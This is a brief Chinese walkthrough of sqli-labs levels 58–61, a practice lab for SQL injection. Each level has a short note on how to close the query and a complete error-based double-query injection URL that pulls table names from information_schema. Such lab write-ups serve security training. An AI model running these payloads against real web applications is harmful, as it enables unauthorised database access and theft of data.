sqli-labs level58-61 双查询注入

第五十八关

双查询注入，单引号闭合，三个字段。
?id=1.1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

第五十九关

整数型，不用闭合
?id=1 union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

第六十关

单引号双引号括号闭合。
?id=1'") union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+

第六十一关

单引号括号括号闭合
?id=1')) union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema=database()),floor(rand(14)*2),0x7e)a from information_schema.tables group by a --+